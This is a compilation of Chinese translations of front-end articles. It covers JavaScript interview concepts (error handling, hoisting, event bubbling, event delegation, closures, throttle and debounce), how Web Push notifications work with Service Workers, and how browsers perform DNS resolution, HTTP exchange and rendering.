当有人问起JavaScript的函数编程方面时,这三个函数应该信手拈来。 如你所见,原始数组在所有三种情况下都没有改变,这证明了这些函数的纯度。

10) 理解错误处理模式

这是许多开发人员最不关心的 JavaScript。 我看到很少有开发人员谈论错误处理, 一个好的开发方法总是谨慎地将 JS 代码封装装在 try/catch 块周围。

在 JavaScript中,只要我们随意编写代码,就可能会失败,如果所示:

$("button").click(function(){
    $.ajax({url: "user.json", success: function(result){
        updateUI(result["posts"]);
    }});
});

这里,我们陷入了一个陷阱,我们说 result 总是 JSON 对象。但有时服务器会崩溃,返回的是 null 而不是 result。在这种情况下,null["posts"] 将抛出一个错误。正确的处理方式可能是这样的:

$("button").click(function(){
    $.ajax({url: "user.json", success: function(result){
    
      try {     
        updateUI(result["posts"]);
       }
      catch(e) {
        // Custom functions
        logError();
        flashInfoMessage();      
      }
    }});
});

logError 函数用于向服务器报告错误。flashInfoMessage 是显示用户友好的消息,如“当前不可用的服务”等。

Nicholas 说,当你觉得有什么意想不到的事情将要发生时,手动抛出错误。区分致命错误和非致命错误。以上错误与后端服务器宕机有关,这是致命的。在那里,应该通知客户由于某种原因服务中断了。

在某些情况下,这可能不是致命的,但最好通知服务器。为了创建这样的代码,首先抛出一个错误,, 从 window 层级捕捉错误事件,然后调用API将该消息记录到服务器。

reportErrorToServer = function (error) {
  $.ajax({type: "POST", 
          url: "http://api.xyz.com/report",
          data: error,
          success: function (result) {}
  });
}
// Window error event
window.addEventListener('error', function (e) {
  reportErrorToServer({message: e.message})
})}
function mainLogic() {
  // Somewhere you feel like fishy
  throw new Error("user feeds are having fewer fields than expected...");
}

这段代码主要做三件事:

  • 监听window层级错误
  • 无论何时发生错误,都要调用 API
  • 在服务器中记录

你也可以使用新的 Boolean 函数(es5,es6)在程序之前监测变量的有效性并且不为null、undefined

if (Boolean(someVariable)) {
// use variable now
} else {
    throw new Error("Custom message")
}

始终考虑错误处理是你自己, 而不是浏览器。

其他(提升机制和事件冒泡)

以上所有概念都是 JavaScript 开发人员的需要知道基本概念。有一些内部细节需要知道,这些对你会有很在帮助。 这些是JavaScript引擎在浏览器中的工作方式,什么是提升机制和事件冒泡?

提升机制

变量提升是 在代码执行过程中将声明的变量的作用域提升到全局作用哉中的一个过程,如:

doSomething(foo); // used before
var foo; // declared later

当在 Python 这样的脚本语言中执行上述操作时,它会抛出一个错误,因为需要先定义然后才能使用它。尽管 JS 是一种脚本语言,但它有一种提升机制,在这种机制中,JavaScript VM 在运行程序时做两件事:

  1. 首先扫描程序,收集所有的变量和函数声明,并为其分配内存空间
  2. 通过填充分配的变量来执行程序, 没有分配则填充 undefined

在上面的代码片段中,console.log 打印 “undefined”。 这是因为在第一次传递变量 foo 被收集。 JS 虚拟机 查找为变量 foo 定义的任何值。 这种提升可能导致许多JavaScript 在某些地方抛出错误,和另外地方使用 undefined

学习一些 例子 来搞清楚提升。

事件冒泡

现在事件开始冒泡了! 根据高级软件工程师 Arun P的说法:

“当事件发生在另一个元素内的元素中时,事件冒泡和捕获是 HTML DOM API 中事件传播的两种方式,并且这两个元素都已为该事件注册了处理程序,事件传播模式确定元素接收事件的顺序。“

通过冒泡,事件首先由最内部的元素捕获和处理,然后传播到外部元素。对于捕获,过程是相反的。我们通常使用addEventListener 函数将事件附加到处理程序。

addEventListener("click", handler, useCapture=false)

useCapture 是第三个参数的关键词, 默认为 false。因此, 冒泡模式是事件由底部向上传递。 反之, 这是捕获模式。

冒泡模式:

<div onClick="divHandler()">
    <ul onClick="ulHandler">
        <li id="foo"></li>
    </ul>
</div>
<script>
function handler() {
 // do something here
}
function divHandler(){}
function ulHandler(){}
document.getElementById("foo").addEventListener("click", handler)
</script>

点击li元素, 事件顺序:

handler() => ulHandler() => divHandler()

在图中,处理程序按顺序向外触发。类似地,捕获模型试图将事件从父元素向内触发到单击的元素。现在更改上面代码中的这一行。

document.getElementById("foo").addEventListener("click", handler, true)

事件顺序:

divHandler => ulHandler() => handler()

你应该正确地理解事件冒泡(无论方向是指向父节点还是子节点),以实现用户界面(UI),以避免任何不需要的行为。

这些是 JavaScrip t中的基本概念。正如我最初提到的,除了工作经验和知识之外,准备有助理于你通过 JavaScript 面试。始终保持学习。留意最新的发展(第六章)。深入了解JavaScript的各个方面,如 V6 引擎、测试等。最后,没有掌握数据结构和算法的面试是不成功的。Oleksii Trekhleb 策划了一个很棒的 git repo,它包含了所有使用 JS 代码的面试准备算法。

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

原文:

https://medium.com/dev-bits/a-perfect-guide-for-cracking-a-javascript-interview-a-developers-perspective-23a5c0fa4d0d

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

9.JavaScript是如何工作的:Web推送通知的机制

推送通知在移动端非常常见。在 Web 端,尽管开发人员对其功能的需求很高,但出于某些原因,推送通知被引入 Web 的时间比较晚。

简介

Web 推送通知允许用户在 Web 应用程序需要更新时选择是否接收更新消息,目的是在重新吸引用户群注意的更新信息通常是对用户来说有趣、重要、实时的内容。

推送通知的基础是我们 上一篇 讲的 Service Workers。

在这种情况下,使用 Service Worker 的原因是它们在后台工作。这对于推送通知非常有用,因为这意味着只有当用户与通知本身进行交互时,它们的代码才会被执行。

推送和通知

推送和通知都有各自的 API

  • 推送 — 当服务器向 Service Worker 提供信息时调用它。

  • 通知 — 这是 Service Worker 或web应用程序中向用户显示信息的脚本的操作。

推送 ( Push )

实现 Push 一般的三个步骤:

  1. UI — 添加必要的客户端逻辑来订阅推送的用户。这是 Web 应用程序 UI 需要的 JavaScript 逻辑,以便用户能够自己注册来推送消息。

  2. 发送推送通知 — 在服务器上实现 API 调用,该调用触发到用户设备的推送消息。

  3. 接受推送消息 — 在推送消息到达浏览器时处理它。

接下来讨论更详细的过程。

浏览器支持检测

首先,我们需要检查当前浏览器是否支持推送消息,可以通过两个简单的检查来判断是否支持推送消息:

  1. 检查 navigator 对象上的 serviceWorker

  2. 检查 window 对象上的 PushManager

代码如下:

image

注册 Service Worker

如果浏览器支持该功能,下一步骤就是注册 Service Worker。

如何注册 Service Worker,上一篇文章 JavaScript 是如何工作的:Service Worker 的生命周期及使用场景 里面就有讲过了。

请求许可

Service Worker 注册后,我们就可以开始订阅该用户。为此,我们需要得到用户的许可才能给用户发送推送消息。

获得权限的 API 相对简单,但是缺点是,API 已经 从回调更改为返回 Promise。这就引入了一个问题:我们不知道当前浏览器实现了 API 的哪个版本,因此必须同时实现和处理这两个版本,如下:

image

调用 Notification.requestpermission() 会在浏览器显示如下提示:

image

一旦权限被授予、关闭或阻塞,我们将会接收分别对应的一个字符串:granteddefaultdenied

请记住,如果用户单击了 Block 按钮,你的 Web 应用程序将无法再次请求用户的权限,直到他们通过更改权限状态手动 “解除” 你的应用程序的权限,此选项隐藏在设置面板中。

使用 PushManager 订阅用户

一旦注册了 Service Worker 并获得了许可,就可以在注册 Service Worker 时通过调用registration.pushManager.subscribe() 订阅用户。

整个代码片段可如下(包括注册 Service Worker):

image

registration.pushManager.subscribe(options) 接受一个 options 对象,它包含必要参数和可选参数:

  • userVisibleOnly: 布尔值,表示返回的推送订阅将只能被用于对用户可见的消息。

  • **applicationServerKey:**推送服务器用来向客户端应用发送消息的公钥。该值是应用程序服务器生成的签名密钥对的一部分,可使用在 P-256 曲线上实现的椭圆曲线数字签名(ECDSA)。可以是 DOMStringArrayBuffer

你的服务器需要生成一对 application server keys ——这些密钥也称为 VAPID 密钥,它们是服务器特有的。它们是一对公钥和私钥。私钥秘密存储在你的终端,而公钥则与客户端交换。这些键允许推送服务知道哪个应用服务器订阅了某个用户,并确保触发该用户的推送消息的服务器是同一台服务器。

你只需要为应用程序创建一次 私钥/公钥对,一种方法是访问 https://web-push-codelab.glitch.me/。

在订阅用户时,浏览器将 applicationServerKey(公共密钥)传递给推送服务,这意味着推送服务可以将应用程序的公共密钥绑定到用户的 PushSubscription

流程大概是这样的:

  • 加载 Web 应用程序后,通过调用 subscribe()方法传递服务器密钥。

  • 浏览器向一个推送服务发出网络请求,该服务将生成一个端点,将该端点与密钥关联,并将该端点返回给浏览器。

  • 浏览器将把这个端点添加到 PushSubscription 对象中,该对象通过 返回 subscribe()promise 得到 。

之后,只要你想推送消息,都需要创建一个 授权头(Authorization header),其中包含使用应用服务器的私钥签名的信息。当推送服务接收到发送推送消息的请求时,它将通过查找已链接到该特定端点的公钥(第二步)来验证消息头。

PushSubscription 对象

PushSubscription 对象包含向用户的设备发送推送消息所需的所有信息,如下:

{
  "endpoint": "https://domain.pushservice.com/some-id",
  "keys": {
    "p256dh":
"BIPUL12DLfytvTajnryr3PJdAgXS3HGMlLqndGcJGabyhHheJYlNGCeXl1dn18gSJ1WArAPIxr4gK0_dQds4yiI=",
    "auth":"FPssMOQPmLmXWmdSTdbKVw=="
  }
}
  • endpoint: 推送服务的 URL,要触发推送消息,post请求。

  • keys: 该对象包含用于加密通过推送消息发送的消息数据的值。

一旦用户被订阅,并且你有了 PushSubscription 对象,就需要将其发送到服务器。在服务器上,你存对数据库的订阅,从现在开始使用它向该用户发送推送消息。

image

发送推送消息

当你想向用户发送推送消息时,首先需要的是推送服务。通过 API 调用告诉服务器你现在需要要发送什么数据、向谁发送消息以及关于如何发送消息的任何标准。通常,这个 API 调用是在服务器上完成的。

推送服务

推送服务是接收请求、验证请求并将推送消息发送到对应的浏览器。

请注意,推送服务不是由你管理的——它是一个第三方服务。你的服务器是通过 API 与 推送服务通信的服务器。推送服务的一个例子是 谷歌的FCM

推送服务处理所有繁重的任务,比如,如果浏览器处于脱机状态,推送服务会在发送相应消息之前对消息进行排队,等待浏览器的再次联机。

每个浏览器都可以使用他们想要的任何推送服务,这是开发人员无法控制的。然而,所有的推送服务都有相同的 Api,所以这不会造成实现困难。

为了获得处理推送消息请求的 URL,需要检查 PushSubscription 对象中端点的存储值。

推送服务 API

推送服务 API 提供了一种向用户发送消息的方法。API 是 Web 协议,它是一个 IETF 标准,定义了如何对推送服务进行 API 调用。

使用推送消息发送的数据必须加密。这样,就可以阻止推送服务查看发送的数据。这一点很重要,因为浏览器决定使用哪个推送服务(它可能正在使用不受信任且不够安全的某个推送服务)。

对于每条推送消息,也可以给出如下说明:

  • TTL  — 定义消息在删除和未发送之前应排队多长时间。

  • 优先级 — 定义每个消息的优先级,推送服务只发送高优先级的消息,确保用户因为一些突发情况关机或者断电等。

  • 主题 — 为推送消息提供一个主题名称,该名称将用相同的主题替换挂起的消息,这样,一旦设备处于活动状态,用户就不会收到过时的信息。

image

浏览器中的推送事件

一旦按照上面的解释将消息发送到推送服务,该消息将处于挂起状态,直到发生以下情况之一:

  • 设备上线

  • 消息由于 TTL 而在队列上过期

当推送服务传递消息时,浏览器将接收它,解密它,并在的 Service Worker 中分派一个 push 事件。这里最重要的是,即使 Web 页面没有打开,浏览器也可以执行你的 Service Worker。流程如下:

  • 推送消息到达浏览器,浏览器解密它

  • 浏览器唤醒 Service Worker

  • push 事件被分发给 Service Worker

设置推送事件监听器的代码应该与用 JavaScript 编写的任何其他事件监听器类似:

self.addEventListener('push', function(event) {
  if (event.data) {
    console.log('This push event has data: ', event.data.text());
  } else {
    console.log('This push event has no data.');
  }
});

需要了解 Service Worker 的一点是,你没有 Service Worker 代码运行时长的控制权。浏览器决定何时将其唤醒以及何时终止它。

在 Service Worker 中,event.waitUntil(promise),告诉浏览器在该promse 未完成之前工作将一直进行中,如果它希望完成该工作,它不应该终止 Sercice Worker。

以下是一个处理 push 事件的例子:

self.addEventListener('push', function(event) {
  var promise = self.registration.showNotification('Push notification!');

  event.waitUntil(promise);
});

调用 self.registration.showNotification() 将向用户显示一个通知,并返回一个 promise,该 promise 在显示通知后将执行 resolve 方法。

showNotification(title, options) 方法可以根据需要进行可视化调整,title 参数是一个字符串,而参数 options 是一个对象,内容如下:

{
  "//": "Visual Options",
  "body": "<String>",
  "icon": "<URL String>",
  "image": "<URL String>",
  "badge": "<URL String>",
  "vibrate": "<Array of Integers>",
  "sound": "<URL String>",
  "dir": "<String of 'auto' | 'ltr' | 'rtl'>",

  "//": "Behavioural Options",
  "tag": "<String>",
  "data": "<Anything>",
  "requireInteraction": "<boolean>",
  "renotify": "<Boolean>",
  "silent": "<Boolean>",

  "//": "Both Visual & Behavioural Options",
  "actions": "<Array of Strings>",

  "//": "Information Option. No visual affect.",
  "timestamp": "<Long>"
}

可以了解更多的细节,每个选项在这里做什么- https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration/showNotification

当有紧急、重要和时间敏感的信息需要与用户分享时,推送通知是吸引用户注意力的好方法。

例如,我们在 SessionStack 计划利用推送通知让我们的用户知道他们的产品何时出现崩溃、问题或异常。这将让我们的用户立即知道发生了什么错误。然后,他们可以将问题作为视频回放,并利用我们的库收集的数据(如DOM更改、用户交互、网络请求、未处理的异常和调试消息)查看发生在最终用户身上的所有事情。

原文:

https://blog.sessionstack.com/how-javascript-works-the-mechanics-of-web-push-notifications-290176c5c55d

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

Web 应用安全性: 浏览器是如何工作的

这本系列的第一篇,先解释浏览器的功能以及执行方式。由于大多数客户将通过浏览器与 web 应用程序进行交互,因此必须了解这些出色程序的基础知识。

浏览器是一个渲染引擎,它的工作是下载一个web页面,并以人类能够理解的方式渲染它。

虽然这几乎是一种过于简单的过分简化,但我们现在需要知道的全部内容。

  • 用户在浏览器栏中输入一个地址。

  • 浏览器从该 URL 下载“文档”并渲染它。

你可能习惯使用 Chrome,Firefox,Edge或Safari等流行的浏览器之一,但这并不意味着没有不同的浏览器。

例如,lynx 是一种轻量级的、基于文本的浏览器,可以在命令行中工作。lynx 的核心原理与其他“主流”浏览器的原理完全相同。用户输入 web 地址(URL),浏览器获取文档并呈现它——唯一的区别是 lynx 不使用可视化渲染引擎,而是使用基于文本的界面,这使得像谷歌这样的网站看起来像这样:

我们大致了解浏览器的功能,但是让我们仔细看看这些机智的应用程序为我们所做的步骤。

浏览器做了什么?

长话短说,浏览器的工作主要包括:

  • DNS 解析

  • HTTP 交换

  • 渲染

  • 重复以下步骤

DNS 解析

这个过程确保一旦用户输入 URL,浏览器就知道它必须连接到哪个服务器。浏览器联系 DNS 服务器,发现google.com 翻译成 216.58.207.110,这是一个浏览器可以连接的 IP 地址。

HTTP 交换

一旦浏览器确定了哪个服务器将为我们的请求提供服务,它将启动与它的 TCP 连接并开始 HTTP 交换。 这只是浏览器与服务器通信所需内容以及服务器回复的一种方式。

HTTP 只是用于在 Web 上进行通信协议的名称,而浏览器一般通过 HTTP 与服务器进行通信。 HTTP 交换涉及客户端(我们的浏览器)发送请求,服务器回复响应。

例如,当浏览器成功连接到 google.com 背后的服务器后,它将发送一个如下所示的请求:

GET / HTTP/1.1
Host: google.com
Accept: */*

让我们一行一行地把请求分解:

  • GET / HTTP/1.1:在第一行中,并补充说其余请求将遵循 HTTP/1.1 协议(它也可以使用1.02

  • Host: google.com这是 HTTP/1.1 中唯一必须的 HTTP 报头。因为服务器可能服务多个域(google.com, google.co.uk) 。这里的客户端提到请求是针对特定的主机的。

  • Accept: */*:一个可选的标头,其中浏览器告诉服务器接受任何类型的响应。服务器可以拥有 JSON、XM L或HTML 格式的可用资源,因此它可以选择自己喜欢的格式。

作为客户端的浏览器发送请求之后,就轮到服务器进行响应了,这是响应的格式如下:

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Set-Cookie: NID=1234; expires=Fri, 18-Jan-2019 18:25:04 GMT; path=/; domain=.google.com; HttpOnly
<!doctype html><html">
...
...
</html>

哇,有很多信息需要消化。服务器让我们知道请求是成功的(200 OK),并向响应中添加一些头部信息,例如,它告知哪个服务器处理了我们的请求(Server:gws),该响应的 X-XSS-Protection 策略是什么,等等。

现在,你不需要理解响应中的每一行,在本系列后面的文章中,我们将介绍 HTTP 协议及其头部等内容。

现在,你只需要了解客户端和服务器正在交换信息,并且它们是通过 HTTP 进行交换的。

渲染

<!doctype html><html">
...
...
</html>

在响应的主体中,服务器根据 Content-Type 头包括响应类型来表示。 在我们的例子中,内容类型设置为 text/ html,因此我们期待响应中的 HTML 标记 - 这正是我们在正文中找到的。

这才是浏览器真正的亮点所在。它解析 HTML,加载标记中包含的额外资源(例如,可能需要获取JavaScript文件或CSS文档),并尽快将它们呈现给用户。

最终的结果是普通人能够理解的:

如果想要更详细地了解当我们在浏览器地址栏中按回车键时会发生什么,建议阅读“What happens when…”,这是一个非常精细的尝试来解释该过程背后的机制。

由于这是一个关注安全性的系列文章,从刚刚了解到的内容可以提到提示:攻击者可以轻松地利用 HTTP 交换和渲染部分中的漏洞谋生。漏洞和恶意用户也潜伏在其他地方,但是这些级别上更好的安全方法已经允许你在改进安全性方面取得进展。

供应商

4 个最流行的浏览器属于不同的公司:

  • 谷歌的 Chrome

  • Mozilla 的火狐

  • 苹果的 Safari

  • 微软的 Edge

除了为了增加市场渗透率而相互竞争之外,供应商也为了提高 web 标准而相互合作,这是对浏览器的一种“最低要求”。

W3C是标准开发的主体,但是浏览器开发自己的特性并最终成为 web 标准的情况并不少见,安全性也不例外。

例如,Chrome 51 引入了 SameSite cookie,该功能允许 Web 应用程序摆脱称为 CSRF 的特定类型的漏洞(稍后将详细介绍)。其他供应商认为这是一个好主意,并纷纷效仿,导致 SameSite 成为 web 标准:到目前为止,Safari 是唯一没有 SameSite cookie 支持的主流浏览器

这告诉我们两件事:

  • Safari似乎并不关心用户的安全性(开玩笑:Safari 12中将提供SameSite cookie,这可能在你阅读本文时已经发布)

  • 修补一个浏览器上的漏洞并不意味着所有用户都是安全的

第一点是对 Safari 的一次尝试(正如我提到的,开玩笑的!),而第二点非常重要。在开发web应用程序时,我们不仅需要确保它们在不同的浏览器中看起来是相同的,还需要确保我们的用户在不同的平台上受到相同的保护。

你的网络安全策略应根据浏览器供应商允许我们执行的操作而有所不同。 如今,大多数浏览器都支持相同的功能集,并且很少偏离其常见的路线图,但是上面的实例仍然会发生,这是我们在定义安全策略时需要考虑的事情。

在我们的例子中,如果我们决定只通过 SameSite cookie 来减轻 CSRF 攻击,那么我们应该意识到我们正在将 Safari 用户置于危险之中。我们的用户也应该知道这一点。

最后但并非最不重要,你应该记住,你可以决定是否支持浏览器版本:支持每一个浏览器版本将是不切实际的(想想 Internet Explorer 6)。虽然确保最近几个版本的主流浏览器的支持通常是一个好的决定,但是如果你不打算在特定的平台上提供保护,一般建议让你的用户知道。

专业提示:你不应该鼓励你的用户使用过时的浏览器,或积极支持他们。尽管你可能已经采取了所有必要的预防措施,但是其他web开发人员可能没有。鼓励用户使用主流浏览器支持的最新版本。

供应商还是标准bug?

普通用户通过第三方客户端(浏览器)访问我们的应用程序这一事实增加了另一层次的间接性:浏览器本身可能存在安全漏洞。

供应商通常会向能够发现浏览器自身漏洞的安全研究人员提供奖励(即 bug奖金)。这些bug与你的实现无关,而是与浏览器本身处理安全性的方式有关。

例如,Chrome 奖励计划可让安全工程师与 Chrome 安全团队联系,报告他们发现的漏洞。 如果确认了这些漏洞,则会发布补丁,通常会向公众发布安全建议通知,研究人员会从该计划中获得(通常是财务上的)奖励。

像谷歌这样的公司在他们的Bug赏金项目中投入了相对较多的资金,这使得他们能够通过承诺在发现应用程序的任何问题时获得经济利益来吸引研究人员。

在一个漏洞赏金计划中,每个人都是赢家:供应商设法提高其软件的安全性,研究人员也因此获得报酬。我们将在后面讨论这些程序,因为我相信Bug赏金计划应该在安全领域有自己的一节。

Jake Archibald 是谷歌的一名开发人员,他最近发现了一个影响多个浏览器的漏洞。他在一篇有趣的博客文章中记录了他的努力,他如何接触不同的供应商,以及他们的反应,建议你阅读 这篇文章

开发人员的浏览器

到目前为止,我们应该理解一个非常简单但相当重要的概念:浏览器只是为普通网络冲浪者构建的 HTTP 客户端。

它们肯定比平台的纯HTTP客户端更强大(例如,考虑NodeJS的require(‘HTTP’)),但归根结底,它们“只是”更简单的 HTTP客户端的自然演化。

作为开发人员,我们选择的HTTP客户机可能是 Daniel Stenberg 的 cURL,他是 web 开发人员每天使用的最流行的软件程序之一。它允许我们通过从命令行发送 HTTP 请求来实时执行 HTTP 交换:

$ curl -I localhost:8080
HTTP/1.1 200 OK
server: ecstatic-2.2.1
Content-Type: text/html
etag: "23724049-4096-"2018-07-20T11:20:35.526Z""
last-modified: Fri, 20 Jul 2018 11:20:35 GMT
cache-control: max-age=3600
Date: Fri, 20 Jul 2018 11:21:02 GMT
Connection: keep-alive

在上面的示例中,我们在 localhost:8080/ 上请求了文档,本地服务器成功响应。

在这里,我们没有将响应的主体显示在命令行,而是使用了 -I 标志,它告诉 cURL 我们只对响应头感兴趣。更进一步,我们可以指示 cURL 显示更多的信息,包括它执行的实际请求,以便更好地查看整个HTTP交换。需要使用的选项是-v(详细):

$ curl -I -v localhost:8080
* Rebuilt URL to: localhost:8080/
*   Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> HEAD / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< server: ecstatic-2.2.1
server: ecstatic-2.2.1
< Content-Type: text/html
Content-Type: text/html
< etag: "23724049-4096-"2018-07-20T11:20:35.526Z""
etag: "23724049-4096-"2018-07-20T11:20:35.526Z""
< last-modified: Fri, 20 Jul 2018 11:20:35 GMT
last-modified: Fri, 20 Jul 2018 11:20:35 GMT
< cache-control: max-age=3600
cache-control: max-age=3600
< Date: Fri, 20 Jul 2018 11:25:55 GMT
Date: Fri, 20 Jul 2018 11:25:55 GMT
< Connection: keep-alive
Connection: keep-alive
<
* Connection #0 to host localhost left intact

主流浏览器通过它们的 DevTools 可以获得几乎相同的信息。

正如我们所见,浏览器只不过是精心设计的HTTP客户端。 当然,他们添加了大量的功能(想到凭据管理,书签,历史等),但事实是,它们是作为人类的 HTTP 客户端而诞生的。 这很重要,因为在大多数情况下,不需要使用浏览器来测试Web应用程序的安全性,因为你可以简单的通过 curl 命令来查看响应信息。

进入 HTTP 协议

正如我们所提到的,HTTP交换和渲染阶段是我们主要要涉及的阶段,因为它们为恶意用户提供了最大数量的攻击媒介。

在下一篇文章中,我们将深入研究HTTP协议,并尝试了解为了保护HTTP交换,我们应该采取哪些措施。

原文:https://medium.freecodecamp.org/web-application-security-understanding-the-browser-5305ed2f1dac

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

Javascript 面试中经常被问到的三个问题!

本文不是讨论最新的 JavaScript 库、常见的开发实践或任何新的 ES6 函数。相反,在讨论 JavaScript 时,面试中通常会提到三件事。我自己也被问到这些问题,我的朋友们告诉我他们也被问到这些问题。

然而,这些并不是你在面试之前应该学习的唯一三件事 - 你可以通过多种方式更好地为即将到来的面试做准备 - 但面试官可能会问到下面是三个问题,来判断你对 JavaScript 语言的理解和 DOM 的掌握程度。

让我们开始吧!注意,我们将在下面的示例中使用原生的 JavaScript,因为面试官通常希望了解你在没有 jQuery 等库的帮助下对JavaScript 和 DOM 的理解程度。

问题 1: 事件委托代理

在构建应用程序时,有时需要将事件绑定到页面上的按钮、文本或图像,以便在用户与元素交互时执行某些操作。

如果我们以一个简单的待办事项列表为例,面试官可能会告诉你,当用户点击列表中的一个列表项时执行某些操作。他们希望你用 JavaScript 实现这个功能,假设有如下 HTML 代码:

<ul id="todo-app">
  <li class="item">Walk the dog</li>
  <li class="item">Pay bills</li>
  <li class="item">Make dinner</li>
  <li class="item">Code for one hour</li>
</ul>

你可能想要做如下操作来将事件绑定到元素:

document.addEventListener('DOMContentLoaded', function() {
  let app = document.getElementById('todo-app');
  let itimes = app.getElementsByClassName('item');

  for (let item of items) {
    item.addEventListener('click', function(){
      alert('you clicked on item: ' + item.innerHTML);
    })
  }
})

虽然这在技术上是可行的,但问题是要将事件分别绑定到每个项。这对于目前 4 个元素来说,没什么大问题,但是如果在待办事项列表中添加了 10,000 项(他们可能有很多事情要做)怎么办?然后,函数将创建 10,000 个独立的事件侦听器,并将每个事件监听器绑定到 DOM ,这样代码执行的效率非常低下。

在面试中,最好先问面试官用户可以输入的最大元素数量是多少。例如,如果它不超过 10,那么上面的代码就可以很好地工作。但是如果用户可以输入的条目数量没有限制,那么你应该使用一个更高效的解决方案。

如果你的应用程序最终可能有数百个事件侦听器,那么更有效的解决方案是将一个事件侦听器实际绑定到整个容器,然后在单击它时能够访问每个列表项, 这称为 事件委托,它比附加单独的事件处理程序更有效。

下面是事件委托的代码:

document.addEventListener('DOMContentLoaded', function() {
  let app = document.getElementById('todo-app');

  app.addEventListener('click', function(e) {
    if (e.target && e.target.nodeName === 'LI') {
      let item = e.target;
      alert('you clicked on item: ' + item.innerHTML)
    }
  })
})

问题 2: 在循环中使用闭包

闭包常常出现在面试中,以便面试官衡量你对 JS 的熟悉程度,以及你是否知道何时使用闭包。

闭包基本上是内部函数可以访问其范围之外的变量。 闭包可用于实现隐私和创建函数工厂, 闭包常见的面试题如下:

编写一个函数,该函数将遍历整数列表,并在延迟3秒后打印每个元素的索引。

经常不正确的写法是这样的:

const arr = [10, 12, 15, 21];
for (var i = 0; i < arr.length; i++) {
  setTimeout(function() {
    console.log('The index of this number is: ' + i);
  }, 3000);
}

如果运行上面代码,3 秒延迟后你会看到,实际上每次打印输出是 4,而不是期望的 0,1,2,3

为了正确理解为什么会发生这种情况,了解为什么会在 JavaScript 中发生这种情况将非常有用,这正是面试官试图测试的内容。

原因是因为 setTimeout 函数创建了一个可以访问其外部作用域的函数(闭包),该作用域是包含索引 i 的循环。 经过 3 秒后,执行该函数并打印出 i 的值,该值在循环结束时为 4,因为它循环经过0,1,2,3,4并且循环最终停止在 4

实际上有多处方法来正确的解这道题:

const arr = [10, 12, 15, 21];

for (var i = 0; i < arr.length; i++) {
  setTimeout(function(i_local){
    return function () {
      console.log('The index of this number is: ' + i_local);
    }
  }(i), 3000)
}

const arr = [10, 12, 15, 21];
for (let i = 0; i < arr.length; i++) {
  setTimeout(function() {
    console.log('The index of this number is: ' + i);
  }, 3000);
}

问题 3:事件的节流(throttle)与防抖(debounce)

有些浏览器事件可以在短时间内快速触发多次,比如调整窗口大小或向下滚动页面。例如,监听页面窗口滚动事件,并且用户持续快速地向下滚动页面,那么滚动事件可能在 3 秒内触发数千次,这可能会导致一些严重的性能问题。

如果在面试中讨论构建应用程序,出现滚动、窗口大小调整或按下键等事件请务必提及 防抖(Debouncing)函数节流(Throttling)来提升页面速度和性能。这两兄弟的本质都是以闭包的形式存在。通过对事件对应的回调函数进行包裹、以自由变量的形式缓存时间信息,最后用 setTimeout 来控制事件的触发频率。

####Throttle: 第一个人说了算

throttle 的主要**在于:在某段时间内,不管你触发了多少次回调,都只认第一次,并在计时结束时给予响应。

这个故事里,‘裁判’ 就是我们的节流阀, 他控制参赛者吃东西的时机, “参赛者吃东西”就是我们频繁操作事件而不断涌入的回调任务,它受 “裁判” 的控制,而计时器,就是上文提到的以自由变量形式存在的时间信息,它是 “裁判” 决定是否停止比赛的依据,最后,等待比赛结果就对应到回调函数的执行。

总结下来,所谓的“节流”,是通过在一段时间内无视后来产生的回调请求来实现的。只要 裁判宣布比赛开始,裁判就会开启计时器,在这段时间内,参赛者就尽管不断的吃,谁也无法知道最终结果。

对应到实际的交互上是一样一样的:每当用户触发了一次 scroll 事件,我们就为这个触发操作开启计时器。一段时间内,后续所有的 scroll 事件都会被当作“参赛者吃东西——它们无法触发新的 scroll 回调。直到“一段时间”到了,第一次触发的 scroll 事件对应的回调才会执行,而“一段时间内”触发的后续的 scroll 回调都会被节流阀无视掉。

现在一起实现一个 throttle:

// fn是我们需要包装的事件回调, interval是时间间隔的阈值
function throttle(fn, interval) {
  // last为上一次触发回调的时间
  let last = 0
  
  // 将throttle处理结果当作函数返回
  return function () {
      // 保留调用时的this上下文
      let context = this
      // 保留调用时传入的参数
      let args = arguments
      // 记录本次触发回调的时间
      let now = +new Date()
      
      // 判断上次触发的时间和本次触发的时间差是否小于时间间隔的阈值
      if (now - last >= interval) {
      // 如果时间间隔大于我们设定的时间间隔阈值,则执行回调
          last = now;
          fn.apply(context, args);
      }
    }
}

// 用throttle来包装scroll的回调
const better_scroll = throttle(() => console.log('触发了滚动事件'), 1000)

document.addEventListener('scroll', better_scroll)

Debounce: 最后一个参赛者说了算

防抖的主要**在于:我会等你到底。在某段时间内,不管你触发了多少次回调,我都只认最后一次。

继续大胃王比赛故事,这次换了一种比赛方式,时间不限,参赛者吃到不能吃为止,当每个参赛都吃不下的时候,后面10分钟如果没有人在吃,比赛结束,如果有人在10分钟内还能吃,则比赛继续,直到下一次10分钟内无人在吃时为止。

对比 throttle 来理解 debounce: 在 throttle 的逻辑里, ‘裁判’ 说了算,当比赛时间到时,就执行回调函数。而 debounce 认为最后一个参赛者说了算,只要还能吃的,就重新设定新的定时器。

现在一起实现一个 debounce:

// fn是我们需要包装的事件回调, delay是每次推迟执行的等待时间
function debounce(fn, delay) {
  // 定时器
  let timer = null
  
  // 将debounce处理结果当作函数返回
  return function () {
    // 保留调用时的this上下文
    let context = this
    // 保留调用时传入的参数
    let args = arguments

    // 每次事件被触发时,都去清除之前的旧定时器
    if(timer) {
        clearTimeout(timer)
    }
    // 设立新定时器
    timer = setTimeout(function () {
      fn.apply(context, args)
    }, delay)
  }
}

